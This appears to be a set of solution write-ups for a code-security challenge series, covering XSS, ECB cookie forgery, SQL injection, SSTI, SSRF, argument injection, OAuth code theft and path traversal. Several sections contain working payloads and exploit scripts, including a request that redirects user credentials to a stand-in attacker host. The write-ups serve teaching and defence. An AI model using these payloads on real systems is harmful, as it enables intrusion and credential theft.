None of the values used to generate the token are truly unique:

• only 100 random numbers can be generated;
• the username is known;
• the session identifier is known and set with the cookie PHPSESSID;
• the timestamp at the time of the request can be estimated based on response headers.

Attackers would have first to trigger a password reset for the targeted user and then generate tokens until the right one is found. In that case, we could achieve it after a few dozen tries.

You can find a SonarCloud scan of this challenge here: SonarCloud Scan.

We identified a very similar vulnerability in the PHP package manager PEAR. You can read the complete publication at PHP Supply Chain Attack on PEAR. It allowed taking over any user's account and then enabled the exploitation of a 1-day bug in the library Archive_TAR.

The user-provided comment is sanitized to prevent Cross-Site Scripting (XSS) vulnerabilities. However, after the sanitization, it is normalized with Normalizer.normalize().

This re-introduces a risk of XSS. In this case, the NFKC normalization allows an attacker to leverage the Unicode characters U+FE64 and U+FE65 to introduce the characters < and > in the result. The following payload allows an attacker to exploit this vulnerability:

 1{'comment':'\ufe64script\ufe65alert(document.domain);\ufe64/script\ufe65'}
 2

Modifying sanitized data is a very common unsafe pattern. For instance, we found it in the popular webmail software Zimbra and documented it in Zimbra 8.8.15 - Webmail Compromise via Email.

The URL https://api.github.com does not end with a /. An attacker can thus send the request to any server via path=.attacker.com/hello, resulting in https://api.github.com.attacker.com/hello. When an attacker uses this to redirect the request to their server, the Authorization header gets leaked.

To perform this attack, path must match the regular expression ^[/a-zA-Z0-9_]*. Looking at the regex, we see that the character * is a greedy quantifier, indicating that any amount of matches is allowed, including zero. The payload .attacker.com/hello does not match the pattern ^[/a-zA-Z0-9_]*, but since zero matches are allowed by the * quantifier, an attacker can use an arbitrary string as a payload.

The routing of the express framework is case-insensitive by default. This means that requesting /api/users/ and /API/users will have the same outcome. In contrast, the authentication middleware that is supposed to protect the /api endpoint only checks for a valid token when the route starts with /api. Since this check is case sensitive, it can be bypassed by accessing /API because express will still route it to the correct API handler while auth tokens are not validated.

The session cookie used by the application is encrypted using AES in ECB mode. This mode is not secure and should never be used. Any usage of this or similar insecure encryption algorithm modes and padding schemes are automatically detected and reported by our engine: SonarCloud Scan.

AES operates on 16-byte (128-bit) blocks. In ECB mode blocks are processed independently from each other. This means that the order of encrypted blocks can be changed without breaking the decryption:

 1>>> cipher = AES.new(get_random_bytes(16), AES.MODE_ECB)
 2>>> ct = cipher.encrypt(b'This example shows that ECB should not be used!!')
 3>>> block1 = ct[:0x10]; block2 = ct[0x10:0x20]; block3 = ct[0x20:]
 4
 5>>> cipher.decrypt(block1+block2+block3)
 6b'This example shows that ECB should not be used!!'
 7
 8>>> cipher.decrypt(block3+block2+block1)
 9b'ld not be used!!ws that ECB shouThis example sho'
10
11>>> cipher.decrypt(block1+block1+block1)
12b'This example shoThis example shoThis example sho'
13

Attackers can control part of the cleartext and thus create arbitrary ciphertext blocks. These blocks can then be re-ordered to forge the desired plaintext, for instance, a valid session cookie for the admin user.

Within this application, the session cookie contains the usrid and the user's name. Since users can change their names, they can partially control the contents of the encrypted cookie. They can use this to create the required encrypted blocks to forge a valid admin session cookie. The difficulty here is that the cookie has to be valid JSON, and the username cannot contain double quotes. Since double quotes are required to create valid JSON data, attackers can leverage the ones inserted by the application.

The goal is to forge the following JSON data:

 1{"userid":0}
 2

At first, we forge a block, which contains {". Since we cannot insert double quotes in the name, we use the one inserted by the application at the end of the name. For padding, we can use spaces, which are ignored when the JSON data is parsed. Thus we can change our username to guest {, which results in the following blocks:

[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest                     {"}

block3 contains {". This will be our first block.

Next, we need to craft the block usrid". This is not easy because we need to fit the 16-byte block, and we cannot use spaces for padding because that would change the key. Fortunately, we can leverage the Unicode character encoding to make our data fit into a 16-byte block. For this, we have to change the username to guest \\u0075\\u0073rid, where \\u0075 and \\u0073 are the encoded letters u and s, respectively. This will result in the following blocks:

[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest       \u0075\u0073rid"}

block3 contains \u0075\u0073rid". This will be our second block.

Next, we craft the block :0. At this point, we can use spaces for padding again. Changing our username to guest :0 results in the following blocks:

[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest                     :0"}

block3 contains :0. This will be our third block.

Next, we craft a block containing }. We change our username to guest } resulting in the following blocks:

[----block1----][----block2----][----block3----][----block4----]
{"usrid":1, "name":"guest                      }"}

block3 contains }. This will be our fourth block.

Now, we need to craft an empty block, which is required for padding. We change our username to guest , which results in the following blocks:

[----block1----][----block2----][----block3----]
{"usrid":1, "name":"guest     "}

block3 will be populated with the required padding bytes (\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10). This will be our last block.

If we now concatenate all blocks we get the following result:

[----block1----][----block2----][----block3----][----block4----][----block5----]
              {"\u0075\u0073rid"              :0               } ... PADDING ...

This results in a valid admin session cookie:

>>> loads('              {"\u0075\u0073rid"              :0               }')
{'usrid': 0}

After base64-encoding the concatenated, encrypted blocks, we can use the result as a session cookie and access the /settings endpoint as the admin user.

The following script carries out the explained steps:

 1import requests
 2from base64 import b64decode, b64encode
 3URL = 'http://localhost'
 4
 5s = requests.Session()
 6s.post(URL + '/login', data={'name':'guest', 'pwd':'guest'})
 7
 8# 0123456789012345
 9# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
10# {"usrid":1, "name":"guest"}
11
12# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
13# {"usrid":1, "name":"guest                     {"}
14s.post(URL + '/settings', data={'name':'guest                     {'})
15data = b64decode(s.cookies.get('session'))
16# block1 = '              {"'
17block1 = data[0x20:0x30]
18
19# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
20# {"usrid":1, "name":"guest       \u0075\u0073rid"}
21s.post(URL + '/settings', data={'name':'guest       \\u0075\\u0073rid'})
22data = b64decode(s.cookies.get('session'))
23# block2 = '\u0075\u0073rid"'
24block2 = data[0x20:0x30]
25
26# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
27# {"usrid":1, "name":"guest                     :0"}
28s.post(URL + '/settings', data={'name':'guest                     :0'})
29data = b64decode(s.cookies.get('session'))
30# block3 = '              :0'
31block3 = data[0x20:0x30]
32
33# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
34# {"usrid":1, "name":"guest                      }"}
35s.post(URL + '/settings', data={'name':'guest                      }'})
36data = b64decode(s.cookies.get('session'))
37# block4 = '               }'
38block4 = data[0x20:0x30]
39
40# last block required for padding
41# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
42# {"usrid":1, "name":"guest     "}
43s.post(URL + '/settings', data={'name':'guest     '})
44data = b64decode(s.cookies.get('session'))
45# block5 = '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
46block5 = data[0x20:0x30]
47
48#               [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
49# all_blocks = '              {"\u0075\u0073rid"              :0               }'
50# (+ padding)
51
52# >>> loads('              {"\u0075\u0073rid"              :0               }')
53# {'usrid': 0}
54
55c = {'session': b64encode(block1+block2+block3+block4+block5).decode()}
56j = requests.get(URL + '/settings', cookies=c).json() # admin access
57

The attacker-controlled variable $mail is validated but not sanitized and ends in a raw SQLite query. The variable $mail is validated by 4 filters:

• FILTER_DEFAULT: no effect, as no flag is provided;
• FILTER_SANITIZE_ADD_SLASHES: equivalent to addslashes();
• FILTER_VALIDATE_EMAIL: email validation based on RFC822
• FILTER_SANITIZE_STRING: roughly equivalent to htmlspecialchars() and strip_tags().

As the return value of filter_var is discarded, the only relevant filter is FILTER_VALIDATE_EMAIL. The RFC is not very strict, allowing the use of many special characters.

By injecting new statements in the SQL query, the attacker can add a UNION clause to extract other values from the database, like any user's password. The result of the SQL query will be received by email.

For instance, the email '/**/union/**/select/**/password/**/FROM/**/users/*'@a.s is valid and will successfully leak the victim's password!

We used this technique during our research on Codoforum; you can read the complete publication at Codoforum 4.8.7: Critical Code Vulnerabilities Explained.

The v-bind directive of Vue.js can be used to define arbitrary attributes on any HTML element. The directive expects an object where each item's key and value become an attribute name and value. In this case, the data comes from Vue Router where $route represents the current URL. Depending on the routing mode, $route.query either comes from the current URL's query parameters, or from the URL's hash portion. For this example, we will assume the latter.

An attacker could now set arbitrary attributes on the PageContent component, including event handlers. This constitutes a reflected, DOM-based Cross-Site Scripting (DOM-XSS) vulnerability! Since we are not sure what kind of HTML element the root of PageContent will be, we can check Portswigger's excellent XSS cheat sheet to find a reliable way of executing attacker-controlled JavaScript as soon as the page loads.

The animation that is defined in the CSS part of the code snippet comes in very handy here! Since the spinner animation is already defined, we can use it in a style attribute and put arbitrary JavaScript into the onanimationstart event handler. When the page loads, the animation begins and triggers the event handler, executing the attacker-controlled JavaScript. The final URL looks like this: http://chal:1337/#/?style=animation-name:spinner&onanimationstart=alert(1)

We used the same technique to exploit a DOM XSS vulnerability in Smartstore, an e-commerce platform written in C#. Read the details in our blog post:
SmartStoreNET - Malicious Message leading to E-Commerce Takeover

The IP address can be set to 127.0.0.1 via the X-Forwarded-For HTTP header, which bypasses the allow-list. However, attackers won't have a valid session in $_SESSION['auth'], which automatically leads to a redirect to another page.

A redirect is a response to a client which does not have to be respected. Whether or not the client follows the redirect, the server keeps executing the lines following the header function call.

Therefore, the redirect has no effect, and the script reaches call_user_func(), which allows executing arbitrary PHP code or commands.

The idea of this challenge is to upload a tar archive and extract it, resulting in an arbitrary file write primitive. For this, we have to bypass a path traversal mitigation and exploit a race condition in shutil.copy.

In /install, the attacker-controlled parameter language_name is concatenated with the variables src and dst by using os.path.join.

After uploading the file p.tar, we can access it using language_name=/tmp/storage/p.tar, which bypasses the path traversal check, thanks to os.path.join.

If this behavior is unknown to you, check out our blog post 10 Unknown Security Pitfalls for Python.

However, bypassing the path traversal check results in the src==dst condition being true. This causes shutil.copy to raise an unhandled exception since dst already exists and as a result, the uploaded archive is not extracted.

The execution of shutil.copy is not atomic and consists of several intermediate steps. It is possible to race the check for the existence of the file dst. For this, we have to delete dst and, therefore, src using the endpoint /clean, which allows us to delete a file in /tmp/storage/.

By re-uploading, deleting p.tar, and requesting /install in parallel, we can race and survive shutil.copy. It causes our p.tar to be extracted via shutil.unpack_archive, allowing us to create arbitrary files.

The checks against command injection vulnerabilities are not important here, as attackers can add arbitrary arguments to the Mercurial client invocation. In this context, this is very powerful: Mercurial allows providing additional configuration via its arguments and supports a directive named alias.<subcommand> to override subcommands.

The documentation mentions that overrides prefixed with an exclamation mark can execute arbitrary shell commands:

It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea! An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example, echo = !echo $@

The final payload would look like repository=--config=alias.identify=!id to execute the command id.

This is something we documented in PHP Supply Chain Attack on Composer and Securing Developer Tools: A New Supply Chain Attack on PHP and allowed us to take over all existing PHP dependencies, twice!

You can find a SonarCloud scan of this challenge here: SonarCloud Scan.

The first two lines show that the binary has the setuid bit set and is owned by root, so it can run as root regardless of which user executes it. In lines 22-23 the program makes use of this by setting its user ID (uid) and effective user ID (euid) to the ID of root (0).

After that, the executable takes its own path from argv[0] and saves its parent directory in the logger_path global. Here lies the vulnerability, due to a misconception by the developer: argv[0] can be fully controlled by the calling process and does not have to be the path of the binary being called!

The rest of the program resolves around the rotate_log() function that copies a log file to another path. Both the source and the destination of this copy operation are paths relative to logger_path. Since this value can be controlled by the calling process, it allows an attacker to perform the copy operation inside (almost) arbitrary folders.

However, there is still a limitation: the destination the file is copied to has to have a specific name, determined by the current system date and time. To be able to write to arbitrary files, the attacker can make use of symbolic links. When the target file is such a symlink, the source file will be copied to the location the link points to.

To exploit the vulnerability, an attacker has to create a folder structure that mimics the one expected by the binary. Example:

/tmp/fakedir/
├── bin/
└── logs/
    ├── global-2022-12-11T13:33:37.log -> /root/.ssh/authorized_keys
    └── global.log

The file global.log should contain the data to be written. The symbolic link global-2022-12-11T13:33:37.log has to be named correctly based on the current time and should point to the file the attacker wants to overwrite. To finally trigger the vulnerability, the loggerctl binary has to be executed with an argv[0] value of /tmp/fakedir/bin/dummy, for example using the following C program:

 1#include <unistd.h>
 2void main() {
 3    execl("/opt/logger/bin/loggerctl", "/tmp/fakedir/bin/dummy", "rotate", NULL);
 4}
 5

The loggerctl binary will now copy the attacker-controlled content of global.log to the target of the symlink, in this case /root/.ssh/authorized_keys. Since the executable always runs as root due to the setuid bit, any low-privileged user can use it to write to otherwise protected files. There are many ways for an attacker to elevate their privileges with such a file write primitive, so you can get creative!

The code represents a popup used for single sign-on authentication via GitHub. It uses cross-origin messaging to talk to its opener, for example to notify its opener with a popup-loaded message once the popup loads. The opener can then send certain commands to start the OAuth flow, or to retrieve the OAuth code after successful authorization.

To prevent arbitrary sites from stealing this auth code, the popup validates that the incoming message's origin property is the same as the popup's own window.origin. This check works in most cases, but there is an edge case that attackers can abuse: window.origin can be forced to be 'null'! Let's see how that works:

When a page is embedded in an iframe, the embedding page can use the sandbox attribute restrict what the iframe can do. This causes the origin of the embedded page to be 'null', unless the allow-same-origin sandbox directive is specified. The embedded page can open popups when the allow-popups directive is present, and the null origin effect will propagate to these popups unless the allow-popups-to-escape-sandbox was used.

An attacker can use this to their advantage! They can create a page that contains a sandboxed iframe, which opens the OAuth popup. The iframe, and therefore also the popup, will have an origin of 'null' and the attacker can send the startAuthFlow command to start the OAuth flow. The command is accepted by the popup because both origin are now equal. When GitHub redirects back to the popup, the OAuth code will be provided in the code URL query parameter. The attacker page can then send the getAuthCode command and the popup will happily return it back.

In the case of GitHub, the exploits only works if the victim has already done the OAuth flow for the victim application at least once. Otherwise, GitHub itself is restricted by the propagated sandbox and their OAuth page will not function.

There are two potential ways to fix this vulnerability. First, the popup's check should use location.origin instead of window.origin because that value does not get altered by the sandbox. Second, the calls to postMessage() should use the specific target origin (e.g. location.origin) instead of a wildcard ('*'). That way, the attacker page would not be able to receive the OAuth code.

A full exploit, which an attacker could host on their server, looks like this:

 1<iframe sandbox="allow-scripts allow-popups" src="data:text/html,
 2<body>
 3  <script>
 4    const victimClientId = '<client_id>';
 5    const victimUrl = new URL('http://localhost:1337/oauth-popup.html');
 6    const victimWindow = window.open(victimUrl.toString(), '_blank', 'popup=1,width=600,height=800');
 7    let hasStarted = false;
 8    window.onmessage = (event) => {
 9      const { type } = event.data;
10      if (type === 'popup-loaded') {
11        if (hasStarted) {
12          // the popup loaded the second time, indicating a successful OAuth flow
13          victimWindow.postMessage({ cmd: 'getAuthCode', args: [] }, '*');
14        } else {
15          // the popup loaded for the first time, start the OAuth flow
16          hasStarted = true;
17          victimWindow.postMessage({ cmd: 'startAuthFlow', args: [victimClientId] }, '*');
18        }
19      } else if (type === 'auth-code') {
20        victimWindow.close();
21        document.body.textContent = 'Leaked GitHub OAuth code: ' + event.data.code;
22      }
23    };
24  <\/script>
25</body>
26"></iframe>
27

If a new user, which does not exist yet, is registered, their password is compared with the passwords of all existing users via the function startswith(). When the password of the new user starts with the same characters as any registered user, a unique error message is displayed ("password policy not followed"). As a result, attackers can go through the passwords character by character to extract existing passwords.

For example:

username = Some random user that doesn't exist.

Attackers can repeat this until a password is extracted and try to log in with this password and the username admin. If this is not correct, they can extract the next password.

If you enjoyed the challenge, check out our publication on Disclosing information with a side-channel in Django. It allowed us to leak information through a side channel in Django.

The PHP documentation states that functions of the OpenSSL extension accept either a path or a PEM certificate in the same argument. You can find it in
the page of openssl_pkey_get_public() or directly in PHP's source code.

The distinction is based only on the first parameter's prefix, file://. As a result, the attacker can simply provide file:///key.pem in $_POST['key'] and leak its contents!

This challenge is based on a similar finding in the IT monitoring software Icinga. You can find all the details in Path Traversal Vulnerabilities in Icinga Web.

Exploiting it in Icinga required an additional in the PHP interpreter, a NULL byte injection, that we reported and that is now patched.

The application constructs the name of the notes files with the username:

 1notes_file = 'notes/' + session.get('username')
 2

Since users can provide arbitrary usernames during registration, this leads to a path traversal vulnerability. The /notes endpoint can be used to write arbitrary content to the notes file.

Though, the application verifies that the notes file resides within the application's root directory:

 1if commonpath((app.root_path, abspath(notes_file))) != app.root_path: ...
 2

The application uses templates, and auto-reloading of templates is enabled:

 1app.config['TEMPLATES_AUTO_RELOAD'] = True
 2

Thus an attacker can overwrite an existing template (e.g., error.html), which results in a Serverside Template Injection (SSTI) vulnerability. The default folder for templates is called templates. Thus the error.html file resides within templates/error.html.

To exploit the vulnerability, an attacker can register a user with the name ../templates/error.html. This user's notes are now written to templates/error.html, overwriting the existing template. Attackers can use the following payload to run a system command:

 1{{request.application.__globals__.__builtins__.__import__('os').popen('echo pwned').read()}}
 2

The payload is triggered when the error.html template is loaded, for instance, when trying to register a duplicate username.

This challenge is heavily inspired by [https://blog.sonarsource.com/securing-developer-tools-git-integrations/](Securing Developer Tools: Git Integrations), as well as another vulnerability we identified in real-world software.

This publication demonstrated how invoking git in an untrusted folder results in the execution of arbitrary commands. However, this behavior requires control over the repository configuration, which is not the case here since it's obtained with git clone.

The argument injection during the call to git blame becomes handy. While not documented in the manual pages, git blame also supports an --output parameter, as many other git commands.

It gives a very limited primitive: we can either create empty files or truncate existing ones. By truncating .git/HEAD, the local repository becomes invalid.

Git now looks for it at other locations, including bare repositories in the current folder. If the right files are already planted in the top-level directory, the next invocation of git blame will use it and its potentially malicious configuration.

You can find our proof-of-concept in SonarSource/csac2022-git-blame, and this issue in SonarCloud.

User comments are converted to HTML using an XSLT template, which aims to prevent Cross-Site Scripting attacks. The XSLT only allows certain HTML tags (<b>, <i>, and <u>). Also, links (<a href="...">) to https://example.org should be allowed, which is done by filtering all elements with an href attribute.

However, when a href attribute is present, no restriction is applied to the tag name, resulting in an XSS by inserting comments like <script href="/">alert(document.domain);</script>.

This vulnerability is similar to a real-life vulnerability we discovered in Horde Webmail. Check out the blog post for more details: Horde Webmail 5.2.22 - Account Takeover via Email.

The goal of this challenge is to bypass the CSRF protection, allowing CSRF attacks against any endpoint.

The /exportPDF endpoint can be used to export an uploaded text file as a PDF form. The CSRF token of the current user is written to the exported file by replacing {csrf_token} with the actual value. However, the csurf middleware does not protect GET requests, allowing the /exportPDF endpoint to be triggered via CSRF.

To invoke the endpoint, the id of an uploaded file has to be known to the attacker. They cannot be guessed because they are randomly generated, but it is possible for any user to export any file. An attacker can abuse this by uploading a file themselves and then making another user export that file. Afterwards, the file can be downloaded by the attacker and the contained CSRF token can be extracted.

An example attack may look like this:

1. Upload a file via /upload and get an id
2. CSRF the admin and request /exportPDF?id={id} with the id from step 1
3. Download the exported PDF file via /export/{id}.pdf and extract the leaked CSRF token of the admin user
4. Use the leaked token to launch further CSRF attacks against the admin, performing privileged actions

This new feature introduced a Server-Side Request Forgery vulnerability. While the developer added a validation function that would prevent any request to a private (i.e., local) IP address, this implementation suffers from a race condition.

First, the hostname is resolved to validate the associated IP address, leading to a first DNS request. Then, request.get() sends a second DNS request to identify the server which should receive the request.

Meanwhile, the resolved IP address could have changed from a public one, accepted by is_their_service_broken(), to a private one, pointing to an internal service! The IP rotation can be performed by delegating your own DNS zone to a self-hosted DNS server or existing services like rbndr.us.

The final payload could look like http://challenge/avatar/:x@0a004a8c.01010101.rbndr.us:1234. After a few tries, the internal service at 10.0.74.140:1234 will receive an HTTP request it shouldn't have.

We identified this code pattern in almost every popular application, with varying degrees of impact. For instance, WordPress was vulnerable, but several restrictions made it hard to exploit in a generic way; we documented it in WordPress Core - Unauthenticated Blind SSRF.

In the first lines, a UDP socket is opened on all interfaces on port 1337. In the next lines, a callback is defined that will be called every time a new UDP packet arrives. The overall functionality of the challenge appears to be a log ingestion server that receives and processes log messages via UDP.

Every UDP packet is validated to be from within a specific IP address range. In this case, 10.13.37.0/24 does not contain public IP addresses. The problem here is that the UDP protocol does not provide any guarantees regarding the source of any packet. TCP for example has a handshake mechanism that makes it very unlikely that an attacker can guess certain values and establish a session.

Since UDP lacks this protection, the IP range check can be bypassed with the following script:

 1from socket import gethostbyname
 2from scapy.all import *
 3
 4ip = IP(dst=gethostbyname('victim.tld'), src='10.13.37.42')
 5udp = UDP(sport=1337, dport=1337)
 6payload = 'injected log message'
 7packet = ip / udp / payload
 8send(packet)
 9

Note that such an attack is usually not possible over the internet because regular ISPs will filter out such spoofed packets. There are, however, some shady server hosters that allow IP spoofing, so it should still be expected to be possible when developing IP-based access control.

The application inserts the user-provided URL query parameter lang into a memcached query:

 1String welcomeMessage = mcc.get("welcome_" + lang);
 2

When passing the parameter lang=en, the corresponding memcached query looks like this:

get welcome_en\r\n

By injecting a carriage return and a linefeed character, additional queries to the memcached server can be issued. When a user tries to log in, the backend server responsible for the authentication is also retrieved via memcached:

 1String authBackend = mcc.get("auth_backend");
 2

The credentials entered by a user are forwarded to this backend server. If an attacker injects an additional query to set the auth_backend key to an attacker-controlled server, the credentials are sent to this server when a user tries to log in.

The following request sets the auth_backend key to http://evil.attacker:

GET /?lang=en%0d%0aset%20auth_backend%200%200%2020%0d%0ahttp://evil.attacker

If a user tries to log in now, their credentials are forwarded to http://evil.attacker.

This vulnerability is very similar to a real-life vulnerability we discovered in Zimbra. Check out the blog post: Zimbra Email - Stealing Clear-Text Credentials via Memcache injection.

The DummyBuild() function creates an XML file based on a list of file paths. These paths are inserted into a template XML string as-is, without any escaping. Since users can create arbitrary files and sub-directories within their project directory, they can craft paths that contain special XML characters such as quotes (") and angle brackets (<, >). Note that this does not work on Windows, because those characters are reserved and cannot be used in file paths.

This allows them to inject arbitrary XML elements into the file that is being written. That file is then used as a .NET project file by running the dotnet build command in the directory that it is located in. To execute arbitrary commands, an attacker would create a new <Target> inside the project with an <Exec> command.

The following file path is an example that would execute the command id:

"/></ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"/></Target><ItemGroup><None Include="/tmp/foo.cs

Creating this file results in the following directory structure:

<user-dir>
└── "
    └── ><
        └── ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"
            └── ><
                └── Target><ItemGroup><None Include="
                    └── tmp
                        └── foo.cs

The resulting app.csproj file will therefore have this content (we added formatting for better readability):

 1<Project Sdk="Microsoft.NET.Sdk">
 2    <PropertyGroup>
 3        <TargetFramework>net6.0</TargetFramework>
 4    </PropertyGroup>
 5    <ItemGroup>
 6        <None Include="" />
 7    </ItemGroup>
 8    <Target Name="Pwn" BeforeTargets="Build">
 9        <Exec Command="id" />
10    </Target>
11    <ItemGroup>
12        <None Include="/tmp/foo.cs" />
13    </ItemGroup>
14</Project>
15

When the dotnet build command gets executed, the dotnet CLI will run the Pwn target before the actual build. This results in the execution of the attacker-supplied id command and its output will be sent back to the attacker in the HTTP response.

The implementation of the URL parsing in validate_domain() is much simpler than what's described in standards like RFC2396 and RFC3986. Meanwhile, libcurl implements a much broader implementation. As a result, both may treat the same result differently.

This dangerous code pattern is called a URL parsing differential.

We documented a similar case between two parsers, Apache's apr one and the slightly different implementation in most browsers, in Security Implications of URL Parsing Differentials.

Requests can be sent to unintended hosts with payloads like https://internal.service:@very-sensitive-internal.service/.

The user can upload arbitrary files. The destination path of this file is determined by concatenating the upload folder's base path with the user-provided filename. The code checks the filename for occurrences of the string ../ to prevent any risk of path traversal.

After this check, the destination path is normalized. If the user's OS is Windows (determined by the User-Agent), backslashes (\) in the path are replaced by forward slashes (/). Thus it is possible to traverse out of the upload base folder by using \.. and providing a Windows User-Agent.

Assuming the web root to be /var/www/html/ an attacker can upload a PHP file with the name ..\..\var\www\html\evil.php and insert the string Windows in the User-Agent. The validateFilePath function will not raise an error, because the filename does not contain the string ../. The normalization performed by normalizeFilePath will change the backslashes (\) into forward slashes (/).

Thus the filename becomes ../../var/www/html/evil.php, and the malicious PHP file will be placed in the web root. Accessing this file executes the attacker-inserted PHP code.

This vulnerability is very similar to a real-life vulnerability we discovered in Rarlab's unrar: Unrar Path Traversal Vulnerability affects Zimbra Mail.